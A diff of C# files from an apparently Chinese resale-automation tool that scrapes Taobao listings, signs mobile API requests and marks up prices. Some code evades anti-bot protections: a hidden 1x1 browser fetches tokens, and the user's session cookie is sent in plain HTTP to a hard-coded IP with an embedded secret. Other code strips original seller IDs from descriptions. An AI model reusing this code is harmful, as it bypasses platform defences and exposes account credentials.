/// <summary>
/// 加价比例
/// </summary>
public int AddPricePercent { get; set; }
/// <summary>
/// 基础加价
/// </summary>
public decimal AddPriceBaseValue { get; set; }
/// <summary>
/// 是否包邮
/// </summary>
public int PostFree { get; set; }
// public ShopInfox ShopInfo { get; set; }
public string MainProductImageUrl { get; set; }
public byte[] MainProductImage { get; set; }
public string SellPoint { get; set; }
public bool IsCatched { get; set; }
#region 显示列表时服务端根据场景需求返回的数据,不需要与本地数据库字段对应
/// <summary>
/// sku数
/// </summary>
public int SkuCount { get; set; }
/// <summary>
/// 分词标题数
/// </summary>
public int FissionCount { get; set; }
/// <summary>
/// 分组名称
/// </summary>
public string CollectGroupName { get; set; }
#endregion
}
public class SpecInfo
{
public long NameId { get; set; }
public string Name { get; set; }
public long ValueId { get; set; }
public string Value { get; set; }
}
public class SkuPropertyInfo
{
public long PropertyId { get; set; }
public string PropertyName { get; set; }
public List<SkuPropertyDetailInfo> DetailList { get; set; }
}
public class SkuPropertyDetailInfo
{
public long ValueId { get; set; }
public string ValueName { get; set; }
/// <summary>
/// 图片(存储格式的键为本地路径,值为线上路径)
/// </summary>
public KeyValue Image { get; set; }
}
public class SkuInfo
{
public long SkuId { get; set; }
public string SkuName { get; set; }
public decimal Price { get; set; }
public string SkuAttr { get; set; }
}
}
+72
View File
@@ -0,0 +1,72 @@
using AllBase;
using CefSharp.WinForms;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.WebSockets;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class ShopChatBase
{
public string ExpireTime = "";
public string ShopId = "";
public string ShopName = "";
public string Sub_Account_Name = "";//子账号
public string Name = "";
public string UserName = "";
public string UserInfo = "";
public string PassId = "";
public int ChatCount = 0;
public string Cookies = "";
public string CookiesUid = "";
public string CookiesPid = "";
public string Password = "";
public string Message = "";//授权状态
public string onlineStatus = "";//在线状态
public bool Showed = false;
public bool CanUpload = true;
public bool Login = false;
public int X = 0;
public int Y = 0;
public int MallId = 0;
public int MainCatId = 0;
public int ReceiverId = 0;
public string MainCatName = "";
public string UserCatName = "";
public string ServiceUserName = "";
public string BuyUserName = "";
public string UploadUserName = "";
public int UpCount = 0;
public long ExpressId = 0;
public int WaitTimes = 0;
public string AccessToken = "";
public string RefreshToken = "";
public string ClientId = "";
public string AccessTokenOrder = "";
public string RefreshTokenOrder = "";
public DateTime Expiration = DateTime.Now.AddDays(-1);
public DateTime EndDate = DateTime.Now.AddDays(-1);
public int allWait = 0;//待拼团
public int allBuying = 0;//待拍单
[JsonIgnore]
public WebSocket client = null;
[JsonIgnore]
public ChromiumWebBrowser Chat = null;//店铺聊天用
[JsonIgnore]
public ChromiumWebBrowser MainIndex = null;//店铺后台用
public bool CusIsLogin = false;//店铺是否已经登录--客服集成
public string ownId = "";
public string verify_auth_token = "";
public ShopChatBase Clone()
{
string html = JsonHelper.SerializeObject(this);
ShopChatBase tp = JsonHelper.DeserializeJsonToObject<ShopChatBase>(html);
return tp;
}
}
}
+115
View File
@@ -0,0 +1,115 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
namespace Work.Taobao
{
public class TbHttpReauest
{
public string url = "";
public string cookies = "";
//Calls request functions sequentially.
string responseText;
public string MakeRequests()
{
HttpWebResponse response;
if (Request_trade_taobao_com(out response))
{
//Success, possibly use response.
responseText = ReadResponse(response);
response.Close();
}
else
{
//Failure, cannot use response.
}
return responseText;
}
//Returns the text contained in the response. For example, the page HTML. Only handles the most common HTTP encodings.
private static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Encoding enc = Encoding.UTF8;
try
{
var v = response.ResponseUri.Host;
if (v.Contains("trade.1688.com"))
{
enc = Encoding.Default;
}
}
catch (Exception)
{
}
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, enc))
{
return streamReader.ReadToEnd();
}
}
}
/// <summary>
/// Tries to request the URL: https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=1088944291427556938
/// </summary>
/// <param name="response">After the function has finished, will possibly contain the response to the request.</param>
/// <returns>True if the request was successful; false otherwise.</returns>
private bool Request_trade_taobao_com(out HttpWebResponse response)
{
response = null;
try
{
//Create request to URL.
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
//Set request headers.
request.KeepAlive = true;
request.Headers.Set(HttpRequestHeader.Pragma, "no-cache");
request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache");
request.Headers.Add("Upgrade-Insecure-Requests", @"1");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36";
request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.9");
request.Headers.Set(HttpRequestHeader.Cookie, cookies);
//Get response to request.
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
//ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found)
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else return false;
}
catch (Exception)
{
if (response != null) response.Close();
return false;
}
return true;
}
}
}
+634
View File
@@ -0,0 +1,634 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using AllBase;
namespace Work
{
public class TaobaoMobileCollect
{
public string Name, Content;
public bool IsUrlCollect = false, Pinduoduo = false;
public bool IsUpdateSku = false, ThisShopId = false;
public bool GetSuccess = false, NoTemp = false, Delete = false, NoContent = false;
public decimal BeforePrice = 0;
public static Dictionary<long, ProductCollectBase> ProductTemp = new Dictionary<long, ProductCollectBase>();
public ProductCollectBase Product;
public TaobaoMobileCollect(ProductCollectBase product)
{
Product = product;
}
public void Get()
{
if (ProductTemp.ContainsKey(Product.from_id))
{
Product = ProductTemp[Product.from_id].Clone();
return;
}
GetSuccess = false;
Delete = false;
string urlProduct = "http://acs.m.taobao.com/h5/mtop.taobao.detail.getdetail/6.0/?api=mtop.taobao.detail.getdetail&v=6.0&ttid=2016%40taobao_h5_2.0.0&isSec=0&ecode=0&AntiFlood=true&AntiCreep=true&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=%7B%22exParams%22%3A%22%7B%5C%22id%5C%22%3A%5C%22549564635405%5C%22%7D%22%2C%22itemNumId%22%3A%22" + (ThisShopId ? Product.id : Product.from_id) + "%22%7D";
bool nokey = false, hadFile = false;
string content = "", newContent = "";
string refere = "https://h5.m.taobao.com/awp/core/detail.htm?id=" + (ThisShopId ? Product.id : Product.from_id);
//string html =NoTemp?"": TempFileReadWrite.Read(Product.id, "content", out hadFile);
//if(string.IsNullOrEmpty(html))
// html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
string html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
if (string.IsNullOrEmpty(html) || !html.Contains("调用成功"))
{
Thread.Sleep(10000);
html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
}
if (string.IsNullOrEmpty(html) || !html.Contains("调用成功"))
{
Thread.Sleep(20000);
html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
}
if (string.IsNullOrEmpty(html) || !html.Contains("调用成功"))
{
LogSave.Add(Name, "读取页面失败:" + urlProduct);
return;
}
if (string.IsNullOrEmpty(html) || html.Contains("redirectUrl"))
{
LogSave.Add(Name, "宝贝已经下架:" + urlProduct);
return;
}
//if (!hadFile)
// TempFileReadWrite.Write(Product.id, "content",html);
GetSuccess = true;
html = GetHtml.Decode(html).Replace("\\\"", "\"").Replace("\\\\", "\\");
Product.name = BaseRegex.GetMatchRegexString(ref html, @"""item"":\{[^\}]*?""title"":""([^""]+)""");
if (string.IsNullOrEmpty(Product.name))
{
BigDataBuildDelete(Product.from_id, 1);
if (IsUpdateSku)
{
Delete = true;
LogSave.Add(Name, "上家已经删除:" + (ThisShopId ? Product.id : Product.from_id));
}
else
{
LogSave.Add(Name, "标题获取错误:" + Product.from_url);
}
return;
}
string pricex = BaseRegex.GetMatchRegexString(ref html,
@"""price"":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)""");
if (string.IsNullOrEmpty(pricex))
pricex = BaseRegex.GetMatchRegexString(ref html,
@"""price"":\{""price"":\{""priceText"":""([\d\.]+)");
string price_beforex = BaseRegex.GetMatchRegexString(ref html,
@"""extraPrices"":\[\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)""");
if (string.IsNullOrEmpty(price_beforex))
{
price_beforex = pricex;
}
if (price_beforex == "0" || string.IsNullOrEmpty(price_beforex))
{
LogSave.Add("价格为空,退出:" + Product.from_url);
return;
}
Product.saleCount = BaseRegex.GetIntJson(ref html, "sellCount");
string eprice = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)元");
Product.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice);
Product.price = decimal.Parse(pricex);
Product.num = BaseRegex.GetIntJson(ref html, "num");
Product.from_shop_name = BaseRegex.GetStringJson(ref html, "sellerNick");
if (Product.num == 0)
{
string num = BaseRegex.GetMatchRegexString(ref html, @"""skuCore"":[\w\W]+?""quantity"":""([\d]+)""");
if (!string.IsNullOrEmpty(num))
Product.num = int.Parse(num);
}
Product.discountPrice = decimal.Parse(pricex);
Product.before_price = decimal.Parse(price_beforex);
Product.discount = Product.discountPrice / Product.before_price;//折扣比例
Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100),
(int)(Product.shopAddPriceMax * 100)) / 100;
if (IsUrlCollect)
{
Product.onlinePrice = GetOnlinePrice(Product.price);
}
if (IsUpdateSku)//如果是更新SKU则直接跳转到SKU部分
{
goto GetSku;
}
string catId = BaseRegex.GetStringJson(ref html, @"categoryId");
catId = string.IsNullOrEmpty(catId) ? BaseRegex.GetMatchRegexString(ref html, @"categoryId:([\d]+)") : catId;
if (catId.Contains(","))
catId = catId.Substring(catId.LastIndexOf(",") + 1);
Product.cat_id = int.Parse(catId);
Product.main_cid = BaseRegex.GetIntJson(ref html, @"rootCategoryId");
Product.from_cat_id = Product.cat_id;
Product.from_site_id = 1;
if (Product.main_cid == 0)
{
LogSave.Add(Name, "没有找到主分类:" + Product.from_url);
return;
}
//===================标题过滤======================
string title = Product.name.ToLower();
long md5 = BaseClass.GetLong(Product.name);
foreach (string s in BaseClass.CantTitleKeywords)
{
if (title.Contains(s))
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
foreach (string s in BaseClass.CantTitle)
{
if (title.Contains(s))
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
foreach (string s in BaseClass.CantCatId)
{
if (Product.cat_id.ToString() == s || Product.main_cid.ToString() == s)
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
//string url = "https://hws.m.taobao.com/cache/desc/5.0?callback=backToDesc&id=" + Product.from_id + "&type=0";
long time;
string data = "data={\"id\":\"" + Product.from_id + "\",\"type\":\"0\"}";
string sign = GetSign("", data, out time);
//获取订单详情描述内容
string url = "https://h5api.m.taobao.com/h5/mtop.taobao.detail.getdesc/6.0/?jsv=2.5.1&appKey=12574478&t=1555394927537&sign=" + sign + "&api=mtop.taobao.detail.getdesc&v=6.0&isSec=0&ecode=0&AntiFlood=true&AntiCreep=true&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp3&data={\"id\":\"" + Product.from_id + "\",\"type\":\"0\"}";
//content = TempFileReadWrite.Read(Product.id, "desc",out hadFile);
//if(string.IsNullOrEmpty(content))
if (NoContent)
{
content = "不需要描述";
}
else
{
content = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
if (string.IsNullOrEmpty(content))
{
Thread.Sleep(10000);
content = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
}
//if (!hadFile)
// TempFileReadWrite.Write(Product.id, "desc", content);
string tempx = BaseRegex.GetMatchRegexString(ref content, @"""wdescContent"":""([\w\W]+?)"",""anchors");
if (string.IsNullOrEmpty(tempx))
tempx = BaseRegex.GetMatchRegexString(ref content, "\"wdescContent\":([\\W\\w]+)");
//tempx = BaseRegex.GetMatchRegexString(ref content, @"""wdescContent"":""([\w\W]+?)"",""");
if (string.IsNullOrEmpty(tempx))
{
LogSave.Add(Name, "描述正文正则失败,跳过 " + url);
return;
}
content = tempx.Replace("\\\"", "\"").Replace("\\\\", "\\");
}
//识别上家ID
Product.upShopId = GetUpId(ref content);
newContent = ClearContent(content);
if (string.IsNullOrEmpty(content) || string.IsNullOrEmpty(newContent))
{
LogSave.Add(Name, "描述正文为空,跳过 " + url);
return;
}
Content = newContent;
Product.content = Content;
Product.item_size = "";
Product.item_weight = 1;
Product.state = "浙江";
Product.city = "杭州";
string address = BaseRegex.GetMatchRegexString(ref html, @"""delivery"":\{""from"":""([^""]+?)""");
if (string.IsNullOrEmpty(address))
address = BaseRegex.GetStringJson(ref html, @"location");
string[] provice =
"上海,北京,天津,重庆,黑龙江,辽宁,内蒙古,吉林,河北,河南,山西,山东,陕西,青海,宁夏,甘肃,新疆,西藏,四川,云南,贵州,广西,湖南,湖北,安徽,江苏,浙江,广东,福建,海南,台湾,香港,澳门".Split(',');
string[] city =
"上海,北京,天津,重庆,哈尔滨,沈阳,呼和浩特,长春,石家庄,郑州,太远,济南,西安,西宁,银川,兰州,乌鲁木齐,拉萨,成都,昆明,贵阳,南宁,长沙,武汉,合肥,南京,杭州,广州,福州,海口,台北,香港,澳门".Split(',');
if (!string.IsNullOrEmpty(address))
{
for (int i = 0; i < provice.Length; i++)
{
if (address.Contains(provice[i]))
{
Product.state = provice[i];
Product.city = city[i];
break;
}
}
}
string temp = BaseRegex.GetMatchRegexString(ref html, @",""images"":\[([^\]]+?)\]");
if (string.IsNullOrEmpty(temp))
{
LogSave.Add(Name, "图片错误:" + Product.from_url);
return;
}
var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+)""");
if (m.Count == 0)
{
LogSave.Add(Name, "图片错误:" + Product.from_url);
return;
}
for (int i = 0; i < m.Count; i++)
{
Product.Images.Add(m[i].Groups[1].Value);
}
Product.image = Product.Images[0];
Product.image_from_url = Product.Images[0];
temp = BaseRegex.GetMatchRegexString(ref html, @"""props"":\{""groupProps"":([\w\W]+?)\]\},");
if (!string.IsNullOrEmpty(temp))
{
m = BaseRegex.GetMatchRegex(ref temp, @"\{""([^""]+)"":""([^""]+)""\}");
if (m.Count == 0)
{
LogSave.Add("参数错误:" + Product.from_url);
return;
}
for (int i = 0; i < m.Count; i++)
{
string name = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
if (name.Length > 50 || value.Length > 50)
continue;
Product.Prop.Add(new KeyValueBase(name, value));
}
}
GetSku:
bool hadPrice = false;
m = BaseRegex.GetMatchRegex(ref html,
@"\{""pid"":""([\d]+)"",""name"":""([^""]+)"",""values"":\[([\w\W]+?)\]\}");
for (int i = 0; i < m.Count; i++)
{
PropBase p = new PropBase();
p.id = long.Parse(m[i].Groups[1].Value);
p.name = m[i].Groups[2].Value;
p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", "");
bool had = false;
for (int j = 0; j < Product.Props.Count; j++)
{
if (Product.Props[j].name == p.name)
{
p = Product.Props[j];
had = true;
break;
}
}
temp = m[i].Groups[3].Value;
var mm = BaseRegex.GetMatchRegex(ref temp, @"""vid"":""([\d]+?)"",""name"":""([^""]+?)""[^\}]*\}");
for (int j = 0; j < mm.Count; j++)
{
string v = mm[j].Groups[1].Value;
string vi = mm[j].Groups[0].Value;
string image = BaseRegex.GetStringJson(ref vi, "image");
PropValueBase pr = new PropValueBase();
pr.value = v;
pr.name = mm[j].Groups[2].Value;
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
pr.image = image;
pr.image_from_url = image;
bool hadx = false;
for (int k = 0; k < p.Values.Count; k++)
{
if (p.Values[k].name == pr.name)
{
hadx = true;
break;
}
}
if (!hadx)
p.Values.Add(pr);
}
if (!had)
{
p.sort = i + 1;
Product.Props.Add(p);
}
}
m = BaseRegex.GetMatchRegex(ref html, @"""skuId"":""([\d]+)"",""propPath"":""([-\d:;]+)""");
for (int i = 0; i < m.Count; i++)
{
string skuid = m[i].Groups[1].Value;
string skuValues = m[i].Groups[2].Value;
var mm = BaseRegex.GetMatchRegex(ref html,
@"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)""[^\}]*?},""quantity"":([\d]+)\}");
if (mm.Count == 0)
{
LogSave.Add("SKU识别错误:" + Product.from_url);
continue;
}
string priceText = mm[0].Groups[1].Value;
decimal before_price = decimal.Parse(priceText);
decimal price = before_price;
string numberString = BaseRegex.GetMatchRegexString(ref html,
@"""" + skuid + @""":[\w\W]+?""quantity"":""([\d]+)""");
int number = 0;
if (!string.IsNullOrEmpty(numberString))
number = int.Parse(numberString);
if (number > 100)
number = 100;
string name = BuildName(skuValues);
if (string.IsNullOrEmpty(name))
continue;
bool had = false;
for (int j = 0; j < Product.SkuMaps.Count; j++)
{
if (Product.SkuMaps[j].name == name)
{
had = true;
break;
}
}
if (had)
{
continue;
}
mm = BaseRegex.GetMatchRegex(ref html,
@"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)"",""(type|showTitle|sugProm|priceMoney)""");
if (mm.Count != 0)
{
price = decimal.Parse(mm[0].Groups[1].Value);//这是折扣后的价格
if (before_price != 0)
{
decimal dic = price / before_price;
if (dic < Product.discount)
Product.discount = dic;
}
}
SkuMapBase sm = new SkuMapBase();
sm.id = long.Parse(skuid);
sm.name = name;
sm.price = price;
sm.online_price = sm.price * Product.shopAddPercent / 100 +
new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100),
(int)(Product.shopAddPriceMax * 100)) / 100;
if (!Pinduoduo && (price < BaseClass.MinPrice || price > BaseClass.MaxPrice))
number = 0;
else
hadPrice = true;
if (IsUrlCollect)
{
sm.online_price = GetOnlinePrice(sm.price);
}
sm.number = number;
sm.before_price = before_price;
sm.sale_count = 0;
Product.SkuMaps.Add(sm);
}
for (int i = 0; Product.discount < 1 && i < Product.SkuMaps.Count; i++)
{
if (Product.SkuMaps[i].number == 0)
Product.SkuMaps[i].price = Decimal.Round(Product.discount * Product.SkuMaps[i].before_price, 2);
}
try
{
if (!ProductTemp.ContainsKey(Product.from_id))
ProductTemp.Add(Product.from_id, Product);
}
catch
{
}
if (!hadPrice && (Product.price < (IsUpdateSku ? BaseClass.MinPrice * 0.8m : BaseClass.MinPrice) || Product.price > BaseClass.MaxPrice))
{
//LogSave.Add(Name, "价格太低:" + Product.from_url);
//if (IsUpdateSku)
//{
// SetSku( 0, 0, 5);
//}
//else
//{
// return;
//}
}
//if (IsUpdateSku || Pinduoduo)//如果是更新上家价格,则执行此代码
//{
// Product.main_cid = new FromTitleToCat().GetMainCatId(Product.cat1);
// if(Product.main_cid==0)
// return;
// url = BaseClass.BigDataApiUrl + "?obj=product/product";
// string datax = "&act=update&site_id=1&shop_name=" + GetHtml.UrlEncodeUtf8(Product.from_shop_name) + "&json=" + GetHtml.UrlEncodeUtf8(JsonHelper.SerializeObject(Product));
// html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + datax);
// //后期加代码
// return;
//}
//淘宝大数据收集
//string json = JsonHelper.SerializeObject(Product);
//string data = "id=" + Product.id + "&site_id=" + Product.from_site_id + "&" + UserLogin.GetSignaturex() +
// "&json=" + GetHtml.UrlEncodeUtf8(json);
//string upUrl = BaseClass.BuildObjString("upload_data");
//html = GetHtml.PostUtf8(upUrl, data);
if (nokey)//过滤数据
return;
if (html == "Ok" || html == "Had")
{
LogSave.Add(Name, "采集成功:" + Product.id);
}
Product.from_title = Product.name;
}
/// <summary>
/// 淘宝签名算法
/// </summary>
/// <param name="h5Tk"></param>
/// <param name="data"></param>
/// <returns></returns>
public string GetSign(string h5Tk, string data, out long time)
{
string appkey = "12574478";
System.DateTime starttime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); // 当地时区
DateTime datetime = DateTime.Now;
time = (long)(datetime - starttime).TotalMilliseconds; // 相差毫秒数
string code = h5Tk + "&" + time + "&" + appkey + "&" + data;
return Md5Base.GetMd5(code).ToLower();
}
/// <summary>
/// 生成名称
/// </summary>
/// <param name="name"></param>
/// <returns></returns>
private string BuildName(string name)
{
string temp = "";
for (int i = 0; i < Product.Props.Count; i++)
{
for (int j = 0; j < Product.Props[i].Values.Count; j++)
{
if (name.Contains(Product.Props[i].Values[j].value))
{
temp += Product.Props[i].name + ":" + Product.Props[i].Values[j].name + ";";
break;
}
}
}
if (string.IsNullOrEmpty(temp))
return "";
return temp.Substring(0, temp.Length - 1);
}
/// <summary>
/// 网址采集计算价格
/// </summary>
/// <param name="price"></param>
/// <returns></returns>
public decimal GetOnlinePrice(decimal price)
{
if (price < 40)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(1500, 2000);
}
else if (price < 100)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(2500, 3000);
}
else if (price < 200)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(3000, 5000);
}
else
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(4000, 6000);
}
return price / 100;
}
/// <summary>
/// 获取上家ID
/// </summary>
/// <param name="content"></param>
/// <returns></returns>
public static long GetUpId(ref string content)
{
string upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#fff[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*white[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#ffffff[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId) && content.Length > 100)
upShopId = BaseRegex.GetMatchRegexString(content.Substring(0, 100), @"[\D]([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=[\D]([\d]{11,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{11,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{6,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = "0";
return long.Parse(upShopId);
}
/// <summary>
/// 清理正文
/// </summary>
/// <param name="content"></param>
/// <returns></returns>
public static string ClearContent(string content)
{
string newContent = BaseRegex.Relpace(content, @"(<img[^>]*assets\.alicdn\.com[^>]*>)", "");
ClearTable(ref newContent);
BaseRegex.Relpace(ref newContent, @"(<[aA] [\w\W]+?</[aA]>)", "");
BaseRegex.Relpace(ref newContent, @"(<p[^>]*>[^<]*[\d]{10,15}[^<]*</p>)", "");
BaseRegex.Relpace(ref newContent, @"(<[^>]*#ffffff[^>]*>[^<]*[\d]{10,15}[^<]*<[^>]*>)", "");
BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0;[\s]*height:[\s]*0;[^>]*>[\w\W]*?</[pdiv]+>))", "");
BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0px;[\s]*height:[\s]*0px;[^>]*>[\w\W]*?</[pdiv]+>))", "");
BaseRegex.Relpace(ref newContent, @"(http[\s]{0,1}://item\.taobao\.com/item\.htm\?id=[\d]+)", "");
newContent = newContent.Replace("<p>&nbsp;</p>", "");
if (!newContent.Contains("<img "))
return content;
return newContent;
}
/// <summary>
/// 清除表格广告代码
/// </summary>
/// <param name="html"></param>
/// <returns></returns>
public static void ClearTable(ref string html)
{
if (string.IsNullOrEmpty(html))
return;
int i = html.IndexOf("<table");
Again:
int first = i;
if (i < 0)
return;
int end = html.IndexOf("</table", i);
if (i < 0 || end < 0 || end < i)
return;
int top = 1;
while (top > 0 && i >= 0)
{
end = html.IndexOf("</table", i);
string temp = html.Substring(i + 6, end - i + 2);
int add = (temp.Length - temp.Replace("<table", "").Length) / 6;
top = top - 1 + add;
int t1 = html.IndexOf("<table", end + 7);
int t2 = html.IndexOf("</table", end + 7);
if (t1 >= 0 && (t1 < t2 || t2 < 0))
i = t1;
if (t2 >= 0 && (t2 < t1 || t1 < 0))
i = t2;
}
string re = html.Substring(first, end - first + 8);
if (re.Contains("<a "))
{
html = html.Replace(re, "");
i = html.IndexOf("<table");
}
else
{
i = html.IndexOf("<table", end);
}
goto Again;
}
public static void BigDataBuildDelete(long id, int site)
{
return;
string url = BaseClass.BigDataApiUrl + "?obj=product/product";
string data = "&act=delete&site_id=" + site + "&id=" + id;
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
}
}
}
+97
View File
@@ -0,0 +1,97 @@
using AllBase;
using CefSharp;
using CefSharp.WinForms;
using System;
using System.Drawing;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Work.Tips
{
public partial class TokenForm : Form
{
public ChromiumWebBrowser cefWebBrowser1xy = null;
//public BoundJs bound;
public TokenForm()
{
InitializeComponent();
}
private void TokenForm_Load(object sender, EventArgs e)
{
try
{
string url = "http://new.qixiaoke.com/htmlxx/GetAniContent.html";//Environment.CurrentDirectory + "\\htmlx\\GetAniContent.html";
//url = "https://www.jd.com/";
cefWebBrowser1xy = new ChromiumWebBrowser(url);//传入地址,实例化页面对象
//bound = new BoundJs(this.cefWebBrowser1xy);//实例化操作类,用于页面数据交互
//cefWebBrowser1xy.RegisterJsObject("boundx", bound);//注册绑定在页面的操作类
cefWebBrowser1xy.Dock = DockStyle.None;//指定页面停靠位置和方式
cefWebBrowser1xy.Size = new Size(1, 1);
panel2.Controls.Add(cefWebBrowser1xy);//向panel1控件里添加页面
cefWebBrowser1xy.Load(url);//加载页面
}
catch (Exception)
{
//throw;
}
}
public async Task<string> GetGokenx()
{
try
{
JavascriptResponse task = await cefWebBrowser1xy.GetBrowser().MainFrame.EvaluateScriptAsync("getContent()");
if (task.Success && !string.IsNullOrEmpty(task.Result.ToString()))
{
return task.Result.ToString();
}
}
catch (Exception e)
{
//throw;
}
return "";
}
public string GetGoken()
{
try
{
var task = cefWebBrowser1xy.GetBrowser().MainFrame.EvaluateScriptAsync("getContent()");
if (task.Result.Result != null && !string.IsNullOrEmpty(task.Result.Result.ToString()))
{
return task.Result.Result.ToString();
}
}
catch (Exception e)
{
//throw;
}
return "";
}
public async Task<string> GetAntiContent0ao_v3(string cookie, string userAgent, string referer)
{
return await Task.Run(() =>
{
int port = new Random().Next(9981, 9989);
string url = "http://220.167.100.16:" + port + "/getAntiContent?cookie=" + cookie;
string data = "&ua=" + userAgent + "&referrer=" + referer;
int time = BaseClass.ConvertDateTimeInt(BaseClass.GetServerTimeString());
string time1 = UserLogin.GetMd5(time + "W*%IvTrqSVRaEOyN17@J");
data += "&time=" + time + "&code=" + time1;
string html = GetHtml.GetUrlCodex(url + data);
return html;
});
}
}
}
+58
View File
@@ -0,0 +1,58 @@
namespace Work.Tips
{
partial class TokenForm
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.panel2 = new System.Windows.Forms.Panel();
this.SuspendLayout();
//
// panel2
//
this.panel2.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel2.Location = new System.Drawing.Point(0, 0);
this.panel2.Name = "panel2";
this.panel2.Size = new System.Drawing.Size(579, 443);
this.panel2.TabIndex = 1;
//
// TokenForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(579, 443);
this.Controls.Add(this.panel2);
this.Name = "TokenForm";
this.Text = "TokenForm";
this.Load += new System.EventHandler(this.TokenForm_Load);
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.Panel panel2;
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
